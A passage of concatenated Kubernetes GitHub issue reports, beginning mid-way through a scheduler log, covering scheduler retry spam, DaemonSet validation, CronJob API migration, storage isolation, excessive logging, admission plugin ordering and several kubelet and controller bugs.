09:09:06.722781       1 scheduler.go:569  pod density-30-11-7199/density-latency-pod-2360-npfcz is bound successfully on node gce-scale-cluster-minion-group-2-pzfd, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.917951       1 scheduler.go:569  pod density-30-12-2434/density-latency-pod-2361-p4flh is bound successfully on node gce-scale-cluster-minion-group-2-v345, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:07.119680       1 scheduler.go:569  pod density-30-13-1369/density-latency-pod-2362-wv7nn is bound successfully on node gce-scale-cluster-minion-group-3-26p7, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:07.318862       1 scheduler.go:569  pod density-30-14-4782/density-latency-pod-2363-r29px is bound successfully on node gce-scale-cluster-minion-group-3-52g2, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:07.521375       1 scheduler.go:569  pod density-30-15-7591/density-latency-pod-2364-fcfmb is bound successfully on node gce-scale-cluster-minion-group-0d5f, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:07.722981       1 scheduler.go:569  pod density-30-16-9788/density-latency-pod-2365-qcpj8 is bound successfully on node gce-scale-cluster-minion-group-3qmb, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:07.922536       1 scheduler.go:569  pod density-30-17-2062/density-latency-pod-2366-bgj8k is bound successfully on node gce-scale-cluster-minion-group-4-qk8c, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:08.122552       1 scheduler.go:569  pod density-30-18-3414/density-latency-pod-2367-fnwjt is bound successfully on node gce-scale-cluster-minion-group-3-v26l, 501 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:08.321098       1 scheduler.go:569  pod density-30-19-5440/density-latency-pod-2368-tcg7h is bound successfully on node gce-scale-cluster-minion-group-1-230s, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:08.525071       1 scheduler.go:569  pod density-30-20-1046/density-latency-pod-2369-5m4qj is bound successfully on node gce-scale-cluster-minion-group-2-cxlq, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:08.721483       1 scheduler.go:569  pod density-30-21-487/density-latency-pod-2370-wnndr is bound successfully on node gce-scale-cluster-minion-group-2-9sxx, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:08.923228       1 scheduler.go:569  pod density-30-22-7185/density-latency-pod-2371-vcdt6 is bound successfully on node gce-scale-cluster-minion-group-3-8qwt, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:09.119937       1 scheduler.go:569  pod density-30-23-7537/density-latency-pod-2372-rcbvf is bound successfully on node gce-scale-cluster-minion-group-3-kq42, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:09.321698       1 scheduler.go:569  pod density-30-24-1721/density-latency-pod-2373-vp64w is bound successfully on node gce-scale-cluster-minion-group-4-thz1, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:09.519764       1 scheduler.go:569  pod density-30-25-3105/density-latency-pod-2374-wpg6h is bound successfully on node gce-scale-cluster-minion-group-0rdb, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:09.721337       1 scheduler.go:569  pod density-30-26-1933/density-latency-pod-2375-n5nhb is bound successfully on node gce-scale-cluster-minion-group-4-dmwp, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:09.921519       1 scheduler.go:569  pod density-30-27-8131/density-latency-pod-2376-bp8j8 is bound successfully on node gce-scale-cluster-minion-group-4-ctjq, 500 nodes evaluated, 500 nodes were found feasible\r    \r \r before  09:09:00  scheduler schedules ~5 pods / s. then it goes silent for about 6s and at  09:09:06  it outputs about 30 \ bound successfully\  statements and continues scheduling pods with ~5 pods / s pace.\r \r we checked api-server logs for that silent period of time and it turned out that scheduler was doing something, it was constantly sending get and put request for a metrics-server and heapster pod it was trying to \r schedule. \r ! api-scheduler  https://user-images.githubusercontent.com/2604887/51542545-cf487400-1e5b-11e9-9a1c-5b62e993ae45.png \r \r we dug deeper and found that scheduler was actually trying to schedule these two pods for over 12h, below is the plot of number of calls per minute that scheduler issued to api-server for these two pods:\r ! scheduler  https://user-images.githubusercontent.com/2604887/51543025-e176e200-1e5c-11e9-88f2-b79fa7cab2a2.png \r as we can see there are long periods of time when scheduler issues   over 1500 requests per minute  . that seems strangely a lot given that the requests are only for the two pods.\r \r during the whole run scheduler issued   over 400k gets and over 200k puts   for these two pods. \r ! api-server-summary  https://user-images.githubusercontent.com/2604887/51543093-0f5c2680-1e5d-11e9-98a8-6c3829c59bc7.png \r \r we figured out that scheduler wasn't able to schedule these two pods because there was not enough resources in the cluster.\r \r while it's understandable that scheduler wasn't able to schedule the pods, i'd expect scheduler to not spam the system with so many retries, which, as we can see in this example, can potentially block / slow-down scheduling of other pods.\r \r i've increased the scheduler log verbosity level in https://github.com/kubernetes/test-infra/pull/10874, we should have more logs from the tomorrow's run. \r will post them here once available.

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r an error occured when daemonsets are created on multiple nodes with  matchfields  node selector.\r \r   what you expected to happen  :\r daemonset can be deployed on some specified nodes by their names. \r \r   how to reproduce it  as minimally and precisely as possible   :\r  kubectl create -f sample-daemonset.yaml  like below,\r    \r apiversion: extensions/v1beta1\r kind: daemonset\r metadata:\r   name: sample-daemonset\r   labels:\r     app: sample-daemonset-app\r spec:\r   selector:\r     matchlabels:\r       app: sample-daemonset-app\r   template:\r     metadata:\r       labels:\r         app: sample-daemonset-app\r     spec:\r       affinity:\r         nodeaffinity:\r           requiredduringschedulingignoredduringexecution:\r             nodeselectorterms:\r             - matchfields:\r               - key: metadata.name\r                 operator: in\r                 values:\r                 - x.x.x.x\r                 - y.y.y.y\r       containers:\r       - name: sample-daemonset-python\r         image: \ python:3.6.8\ \r         imagepullpolicy: ifnotpresent\r    \r then this error will occur.\r    \r the daemonset \ sample-daemonset\  is invalid: spec.template.spec.affinity.nodeaffinity.requiredduringschedulingignoredduringexecution.nodeselectorterms 0 .matchfields 0 .values: required value: must be only one value when  operator  is 'in' or 'notin' for node field selector\r    \r \r   anything else we need to know?  :\r corresponding codes are  here  https://github.com/kubernetes/kubernetes/blob/master/pkg/apis/core/validation/validation.go l3074-l3078  .\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.1\ , gitcommit:\ b7394102d6ef778017f2ca4046abbaa23b88c290\ , gittreestate:\ clean\ , builddate:\ 2019-04-19t22:12:47z\ , goversion:\ go1.12.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.6+iks\ , gitcommit:\ ac5f7341d5d0ce8ea8f206ba5b030dc9e9d4cc97\ , gittreestate:\ clean\ , builddate:\ 2019-05-09t13:26:51z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r  ibm cloud public  iks  \r - os  e.g:  cat /etc/os-release  :\r  ubuntu 18.04.2 lts \r - kernel  e.g.  uname -a  :\r  4.15.0-47-generic \r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

https://app.shippable.com/builds/56b1302ca77c0d0b00da987b   fail   k8s.io/kubernetes/cmd/libs/go2idl/generator 0.145s

we should document the trick that user \ duncan\  on slack suggested, to just add more zones to the existing node asg.  it is much easier than running kube-up again.  the only downside i can see is that there's no control over number of nodes in each zone.

is this a bug report or feature request?    choose one : _feature request_    kubernetes version    use  kubectl version  : 1.3.5    environment  : -   cloud provider or hardware configuration  : aws ec2  using autoscaling  -   os    e.g. from /etc/os-release : ubuntu xenial    what happened  : when doing a rolling update of the nodes, i ran into some downtime even though i was carefully draining & restarting machines one at a time. the scenario was: - drain first node - replace said node with a new node  automatically via asg  - wait for kube to stabilize  i.e. all pods scheduled  - drain second node - watch as one of my deployments gets fully killed.   kubectl drain  didn't notice that the scheduler put an entire replica set on the same node.    what you expected to happen  : i believe this is an artifact of resource scarcity - the scheduler normally attempts to distribute replica sets. fixing this in the scheduler would perhaps be a lot harder since the scheduler would need to relocate the pod when the new node comes online.  instead it would be nice if  kubectl drain  maintained an invariant like \ at least one pod in each replica set that has at least 2 pods needs to be alive at any time\ .    how to reproduce it    as minimally and precisely as possible : try instructions above with only 2 nodes.    anything else do we need to know  :

per popular demand  see the beginning of the discussion: https://github.com/kubernetes/features/issues/19 issuecomment-277130872  and considering that  40932 is going to limit the number of created jobs sig-apps decided to migrate cronjobs to beta. \r \r this issue is opened to discuss the following problems that were initially identified:\r \r 1. where the cronjobs should land?\r 2. do we want to keep backwards compatibility?\r \r   ad. 1.  \r cronjobs currently live under  batch/v2alpha1 , so the logical move to beta would be to introduce  batch/v2beta  which eventually lead us to  batch/v2 . unfortunately, the full support for multiversioned api groups is still not perfect.\r the alternative we've discussed during sig-apps call  @erictune and i prefer both agree on that one  is to extend the current version, rather than introducing a new one. this approach seems to be the most reasonable approach knowing the state of multiversioned support. iow. cronjob would migrate to  batch/v1beta1  and eventually to  batch/v1 , when all the ga requirements gathered in https://github.com/kubernetes/features/issues/19 are fulfilled.\r \r @kubernetes/api-approvers @kubernetes/sig-api-machinery-pr-reviews i'd like to hear your opinions on that\r \r   ad. 2.  \r we've kept backwards compatibility when we were renaming from scheduledjobs to cronjobs, by accepting old resources and converting them on the fly to cronjobs and stored as such. all http actions are supported at both endpoints, iow. under  apis/batch/v2alpha1/namespaces/ /cronjobs  and  apis/batch/v2alpha1/namespaces/ /scheduledjobs . given that, we want to keep the  batch/v2alpha1  endpoint available throughout 1.6 release and be dropped in 1.7. scheduledjobs support will be entirely dropped with this change.\r \r \r   action items:  \r \r -  x  remove scheduledjobs entirely from the code base  - https://github.com/kubernetes/kubernetes/pull/49930\r -  x  implement new api version in batch  batch/v1beta1  - https://github.com/kubernetes/kubernetes/pull/41901 and https://github.com/kubernetes/kubernetes/pull/51465\r -     inform users about deprecating  batch/v2alpha1 \r \r @kubernetes/sig-apps-misc fyi\r

based on https://github.com/kubernetes/community/pull/306\r \r this issue is meant to track work items and help collaboration between the community on adding support for capacity isolation of shared partitions.\r \r note:  these features can change based on the number of collaborators.\r \r   v1.7  \r \r note: @jingxu97 has already been making progress on some of the items for v1.7.\r \r -     extend emptydir api spec to include  size   owner:  \r -     define new resources in the api to surface node storage capacity  owner:  \r -     define new resources in the api to consume local storage  owner:  \r -     gate local storage as a resource with an alpha feature gate \r -     kubelet expose local storage capacity for the primary partitions  owner:  \r -     kubelet supports & enforces storage reservation in node allocatable  owner:  \r -     kubelet enforces local storage limits by running a control loop that evicts pods that exceed their storage limits  owner:  \r -     kubelet specifies container logs and overlay limits via cri to let runtimes apply limits  owner:  \r -     add a scheduler predicate that ensures that local storage is available while binding pods to nodes  owner:  \r -     add node e2es to ensure storage limit enforcement  owner:  \r -------\r \r   v1.8  \r -     add cluster e2es to verify scheduler local storage support  owner:  \r -     require storage limits for all pods  or for gu and bu pods . decision tbd  owner:  \r -     introduce global limit ranges  owner:  \r -     add local storage to downwards api  owner:  \r -     extend quota and limitranges to support storage  owner:  \r -     extend metrics api to include storage and expose storage usage via kubectl top  owner:  \r -     support for rotating logs whenever containers' reach their logs storage limits  owner:  \r ------\r \r   v1.9   \r -     add default i/o rate limits for logs from containers  owner:  \r -     minimize disk metrics update latency by introducing support for project quota  owner:  \r -     extend node problem detector to expose shared partition failures  owner:  \r \r cc @jingxu97 @kubernetes/sig-node-feature-requests @kubernetes/sig-storage-feature-requests

kubernetes version  : 1.5.7\r \r   environment  :\r -   cloud provider or hardware configuration  : bare-metal installation on aws\r -   os    e.g. from /etc/os-release : ubuntu 16.04.2\r -   kernel    e.g.  uname -a  : 4.4.0-1016-aws\r -   install tools  : custom installation\r -   others  :\r \r   what happened  :\r kubelet loves to tell me that \ mountvolume.setup succeeded for volume\ . i have a reasonably small kubernetes installation and this was logged on one host 116,244 times in 24 hours on a single host generating 39mb of log data in /var/log/syslog. the entire /var/log/syslog file is only 44mb. i have 4 \ important\  kubernetes clusters and across them 33 nodes running kubelet. at 39mb/host that's on the order of 1gb/day of mountvolume.setup succeeded log messages.\r \r i use sumologic to collect my log files. this is worth approximately 3% of my quota to sumo where each gb/day is expensive.\r \r this verbose logging is probably exacerbated by our reasonably liberal use of secrets. many of our deployments mount at least 3 and up to 5 secret volumes. we have approximately 2 dozen deployments running on each cluster.\r \r   what you expected to happen  :\r don't log the same thing over and over again in a normal operational mode. these messages appear more \ debug\  than \ info\ .\r \r   how to reproduce it    as minimally and precisely as possible :\r to the best of my knowledge you simply need to deploy pods that mount secrets or volumes.\r \r   anything else we need to know  :\r logs are expensive.\r

edit: see next comment   https://github.com/kubernetes/kubernetes/issues/46871 issuecomment-305866515  for kube-controller-manager likely root-cause\r \r we're seeing some e2e failures where the scheduler gets the lock, but then stops logging.\r \r bad: https://storage.googleapis.com/kubernetes-jenkins/pr-logs/pull/46700/pull-kubernetes-e2e-kops-aws/28741/artifacts/ec2-54-183-154-56.us-west-1.compute.amazonaws.com/kube-scheduler.log\r \r good: https://storage.googleapis.com/kubernetes-jenkins/pr-logs/pull/46866/pull-kubernetes-e2e-kops-aws/28742/artifacts/ec2-52-91-114-144.compute-1.amazonaws.com/kube-scheduler.log\r \r this is the cause of at least some of https://github.com/kubernetes/kubernetes/issues/46370

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

failure cluster  f37f4141e4673a71e190  https://go.k8s.io/triage f37f4141e4673a71e190        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:497 expected     <bool>: false to equal     <bool>: true /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:466           failure cluster statistics: 7 tests failed,    10 jobs failed,    119 builds failed. failure stats cover 1 day time range '23 jun 2017 21:37 utc' to '24 jun 2017 21:37 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  kubectl client  k8s.io  simple pod should return command exit codes | 8 | |  k8s.io  kubectl client  k8s.io  simple pod should support port-forward | 8 | |  k8s.io  kubectl client  k8s.io  simple pod should support exec | 8 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-new-master-cvm-kubectl-skew | 21 |  24 jun 2017 20:24 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-new-master-cvm-kubectl-skew/22  | | ci-kubernetes-e2e-gke-master-new-cvm-kubectl-skew | 18 |  24 jun 2017 20:24 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-master-new-cvm-kubectl-skew/22  | | ci-kubernetes-e2e-gce-master-new-gci-kubectl-skew | 16 |  24 jun 2017 20:24 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-master-new-gci-kubectl-skew/22  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | yifan-gu |  k8s.io  kubectl client  k8s.io  simple pod should return command exit codes | | ncdc |  k8s.io  kubectl client  k8s.io  simple pod should support port-forward;  k8s.io  kubectl client  k8s.io  simple pod should support exec;  k8s.io  kubectl client  k8s.io  simple pod should support exec through an http proxy | | pwittrock |  k8s.io  kubectl client  k8s.io  kubectl label should update the label on a resource  conformance  | | sig/cli |  k8s.io  kubectl client  k8s.io  simple pod should return command exit codes;  k8s.io  kubectl client  k8s.io  simple pod should support port-forward;  k8s.io  kubectl client  k8s.io  simple pod should support exec |  </details><br>   current status  https://go.k8s.io/triage f37f4141e4673a71e190

ref https://github.com/kubernetes/kubernetes/issues/47865 issuecomment-311014423\r \r from our recent scale test runs:\r - with services disabled, size of kube-proxy.log = 921b\r - with services enabled, size of kube-proxy.log  + rotated logs  = ~6 gb\r \r the reason is we are printing the whole iptables  which is super big in our tests  in case of failure in the restore step  this line -https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/iptables/proxier.go l1574 \r this huge log traffic seems to oom-kill fluentd too.\r \r cc @kubernetes/sig-network-misc @kubernetes/sig-scalability-misc @bowei @gmarek

\r   is this a bug report or feature request?  :\r  \r the flexvolume  unmount    call-out provides only the mount dir to the flexvolume plugin driver as seen in\r https://github.com/kubernetes/community/blob/master/contributors/devel/flexvolume.md unmount\r    \r <driver executable> unmount <mount dir>\r    \r \r it would be useful if more context could be provided to the driver in the  unmount    call-out, similar to all the information that is provided in the json options to the  mount    call-out.\r \r of particular note would be:\r    \r kubernetes.io/pvorvolumename\r kubernetes.io/pod.name\r kubernetes.io/pod.namespace\r kubernetes.io/pod.uid\r    \r \r the rook flexvolume plugin is currently parsing some of this information from the given mount dir, but that doesn't feel like it would be a stable or reliable longer term approach: https://github.com/rook/rook/pull/882\r

so kubernetes is running cni version 0799f5732f2a11b329d9e3d51b9c8f2e3759f2ff and there were issues where people seemed to assume we were running cni 0.6.0.  but we chose  https://github.com/kubernetes/kubernetes/issues/49480  not to upgrade to 0.6.0 in 1.8\r \r however, this is now a 1.8 release concern, in that presumably some of the commits in between 0799f5732f and 0.6.0 are important.\r \r can we please get a list, suitable for populating the known-issues for the 1.8 release notes, but also  more critically  to verify that none of the known issues might be considered release-blocking.\r \r e.g. no hostport support with cni providers\r e.g. promisc mode https://github.com/kubernetes/kubernetes/issues/49480 issuecomment-326581571\r \r cc @kubernetes/sig-network-misc

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug report\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  : when you set securitycontextdeny after podsecuritypolicy in admission-control for apiserver, this error happend : \ securitycontext.supplementalgroups is forbidden\ \r \r   what you expected to happen  : no error\r \r   how to reproduce it  as minimally and precisely as possible   :\r   create psp on the cluster\r \r    bash\r $ kubectl get psp\r service-policy      false                                 runasany   mustrunasnonroot   runasany   runasany   true              emptydir secret configmap hostpath \r    \r   set admission-control with securitycontextdeny after podsecuritypolicy. ex:\r    bash\r --admission-control=namespacelifecycle,limitranger,serviceaccount,persistentvolumelabel,defaultstorageclass,resourcequota,podsecuritypolicy,securitycontextdeny,denyescalatingexec\r    \r   create a pod with no security context\r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: test-nginx\r   namespace: default\r spec:\r     containers:\r     - image: nginx\r       imagepullpolicy: always\r       name: nginx\r       ports:\r       - containerport: 80\r         name: http\r       resources:\r         limits:\r           cpu: 100m\r           memory: 50mi\r         requests:\r           cpu: 100m\r           memory: 50mi\r       readinessprobe:\r         httpget:\r           path: /\r           port: 80\r         initialdelayseconds: 1\r         periodseconds: 5\r         failurethreshold: 15\r       livenessprobe:\r         httpget:\r           path: /\r           port: 80\r         initialdelayseconds: 2\r         periodseconds: 5\r         failurethreshold: 15\r    \r   you will see \r    bash\r $ kubectl apply -f nginx.yml\r error from server  forbidden : error when creating \ nginx.yml\ : pods \ nginx\  is forbidden: securitycontext.supplementalgroups is forbidden\r    \r \r   anything else we need to know?  :\r   if you set securitycontextdeny before podsecuritypolicy, no error is throw.\r   in plugin/pkg/admission/security/podsecuritypolicy/admission.go the pod from admission.attributes is updated in assignsecuritycontext  it may be the problem? :\r    go\r func  c  podsecuritypolicyplugin  admit a admission.attributes  error {\r ...\r pod, ok := a.getobject  .  api.pod \r ...\r if errs := assignsecuritycontext provider, pod, field.newpath fmt.sprintf \ provider %s: \ , provider.getpspname     ; len errs  > 0 {\r ...\r func assignsecuritycontext provider psp.provider, pod  api.pod, fldpath  field.path  field.errorlist {\r ...\r pod.spec.securitycontext = psc\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.8\r - cloud provider or hardware configuration  : virtualbox\r - os  e.g. from /etc/os-release : centos 7.3\r - kernel  e.g.  uname -a  : linux controller1 3.10.0-514.2.2.el7.x86_64  1 smp tue dec 6 23:06:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubectl\r - others:

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i created a secret with  kubectl create secret generic test --from-literal=foo=bar , which succeeded. but then when i ran  kubectl get all , the secret wasn't listed. this confused me for a while, until i tried  kubectl get secrets  and saw that my secret does indeed exist.\r \r   what you expected to happen  :\r \r i expected  kubectl get all  to list secrets.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r kubectl create secret generic test --from-literal=foo=bar \r kubectl get all\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:27:35z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:17:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r \r bare metal cluster, bootstrapped with  kubeadm .\r \r - os  e.g. from /etc/os-release :\r \r debian testing\r \r - kernel  e.g.  uname -a  :\r \r linux pandora 4.12.0-2-amd64  1 smp debian 4.12.13-1  2017-09-19  x86_64 gnu/linux

 \r   what happened  :\r when a csi driver reports a version of the csi spec which does not match that stored in kubernetes, kubernetes prints the following message:\r  warning, failedmount, mountvolume.setup failed for volume \ kubernetes...\  : version 0.1.0 not supported \r \r https://github.com/kubernetes/kubernetes/blob/ee43f7c34e7ffa92b98e2806e4610af973fab06c/pkg/volume/csi/csi_client.go l131-l133\r \r   what you expected to happen  :\r message should be:  warning, failedmount, mountvolume.setup failed for volume \ kubernetes...\  : expected version 0.1.0. version repored by csi driver of %s is not supported \r \r   how to reproduce it  as minimally and precisely as possible   :\r use a csi driver that reports version 0.0.0. then deploy an application pod with a pvc from this driver. application pod description will show the actual message above.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.1\r

 \r   what happened  :\r \r kubelet logs weird errors with the partitioning scheme that i use:\r \r    \r jan 29 13:38:16 kubw02 kubelet 8500 : e0129 13:38:16.779862    8500 cri_stats_provider.go:219  failed to get the info of the filesystem with id \ ae7783b6-752c-4239-b70f-4bc79a2e91fa\ : cannot find device \ /dev/dm-1\  in partitions.\r jan 29 13:38:16 kubw02 kubelet 8500 : e0129 13:38:16.779898    8500 kubelet.go:1271  image garbage collection failed multiple times in a row: invalid capacity 0 on image filesystem\r    \r \r   what you expected to happen  :\r \r work without complaining because the partitions are fine.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i haven't tried, but i suppose this is related to the partitioning:\r \r install linux system on machine with the following partitioning:\r -  2x 4tb disks with guid partitionig\r - md-raid volumes  raid-1  joining partitions on both disks\r - lvm on top  vg, lv , slicing the md-raid-1 volume in parts  /, /var, etc \r \r   anything else we need to know?  :\r \r following output of many different tools related to the partition involved in the logs:\r    \r   blkid -u ae7783b6-752c-4239-b70f-4bc79a2e91fa\r /dev/mapper/vgsys-var\r \r   lvdisplay /dev/mapper/vgsys-var\r   --- logical volume ---\r   lv path                /dev/vgsys/var\r   lv name                var\r   vg name                vgsys\r   lv uuid                1kinvh-msn8-h73s-yph7-oulx-mwcu-0jwymj\r   lv write access        read/write\r   lv creation host, time kubw02, 2018-01-28 23:09:42 +0100\r   lv status              available\r     open                 1\r   lv size                5.72 gib\r   current le             1464\r   segments               1\r   allocation             inherit\r   read ahead sectors     auto\r   - currently set to     256\r   block device           252:1\r \r   vgdisplay vgsys\r   --- volume group ---\r   vg name               vgsys\r   system id             \r   format                lvm2\r   metadata areas        1\r   metadata sequence no  5\r   vg access             read/write\r   vg status             resizable\r   max lv                0\r   cur lv                4\r   open lv               4\r   max pv                0\r   cur pv                1\r   act pv                1\r   vg size               28.12 gib\r   pe size               4.00 mib\r   total pe              7198\r   alloc pe / size       7198 / 28.12 gib\r   free  pe / size       0 / 0   \r   vg uuid               edw98z-2vnf-cbt3-y4sm-4tnd-pmdr-metwjd\r \r   grep var /etc/fstab \r /dev/mapper/vgsys-var /var            ext4    defaults        0       2\r \r   pvdisplay \r   --- physical volume ---\r   pv name               /dev/md1\r   vg name               vgsys\r   pv size               28.12 gib / not usable 0   \r   allocatable           yes  but full \r   pe size               4.00 mib\r   total pe              7198\r   free pe               0\r   allocated pe          7198\r   pv uuid               ltl4fv-it5h-kn32-e31r-hrme-ccjs-3wwu6b\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:52:23z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration: baremetal server with 2x sata 4tb disks \r - os  e.g. from /etc/os-release : ubuntu 16.04.3\r - kernel  e.g.  uname -a  :  linux kubw02 4.4.0-112-generic  135-ubuntu smp fri jan 19 11:48:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools: custom-made saltstack formulas\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r we have observed that completed or failed jobs that don't get cleaned up correctly according to its cronjob history limit.  for example, here is one of the log line in controller manager:\r \r    \r event v1.objectreference{kind:\ cronjob\ , namespace:\ <ns>\ , name:\ <job>\ , uid:\ aacedebe-a671-11e7-a99f-90b11c577e2e\ , apiversion:\ batch\ , resourceversion:\ 441387677\ , fieldpath:\ \ } : type: 'normal' reason: 'successfuldelete' deleted job <job>\r    \r \r repeatedly periodically, but if i look at the job spec it is metadata is\r \r    \r apiversion: batch/v1\r kind: job\r metadata:\r   creationtimestamp: 2018-02-09t20:00:21z\r   deletiongraceperiodseconds: 0\r   deletiontimestamp: 2018-02-09t21:37:50z\r   finalizers:\r   - orphan\r   labels:\r     controller-uid: dbcb8d9e-0dd3-11e8-9a51-90b11c578803\r     job-name: <job>\r   name: <job>\r   namespace: <ns>\r   ownerreferences:\r   - apiversion: batch/v1beta1\r     blockownerdeletion: true\r     controller: true\r     kind: cronjob\r     name: <job>\r     uid: aacedebe-a671-11e7-a99f-90b11c577e2e\r   resourceversion: \ 441430288\ \r   selflink: /apis/batch/v1/namespaces/<ns>/jobs/<job>\r   uid: dbcb8d9e-0dd3-11e8-9a51-90b11c578803\r    \r \r i can delete the job manually, or i can stop/start controller-manager and it likely will clean it up.\r \r on restart of controller-manager, i would expect to see this:\r \r    \r event v1.objectreference{kind:\ cronjob\ , namespace:\ <ns>\ , name:\ <job>\ , uid:\ aacedebe-a671-11e7-a99f-90b11c577e2e\ , apiversion:\ batch\ , resourceversion:\ 441387677\ , fieldpath:\ \ } : type: 'warning' reason: 'faileddelete' deleted job: jobs.batch \ <job>\  not found\r    \r \r   what you expected to happen  :\r \r controller-manager cleans up the job as expected.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r don't know yet, but happens and stays in that state till intervention.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.2\r - cloud provider or hardware configuration: bare metal\r - os  e.g. from /etc/os-release : centos linux release 7.4.1708  core  \r - kernel  e.g.  uname -a  : 4.14.15-1.el7.elrepo.x86_64\r - install tools: custom\r - others:\r

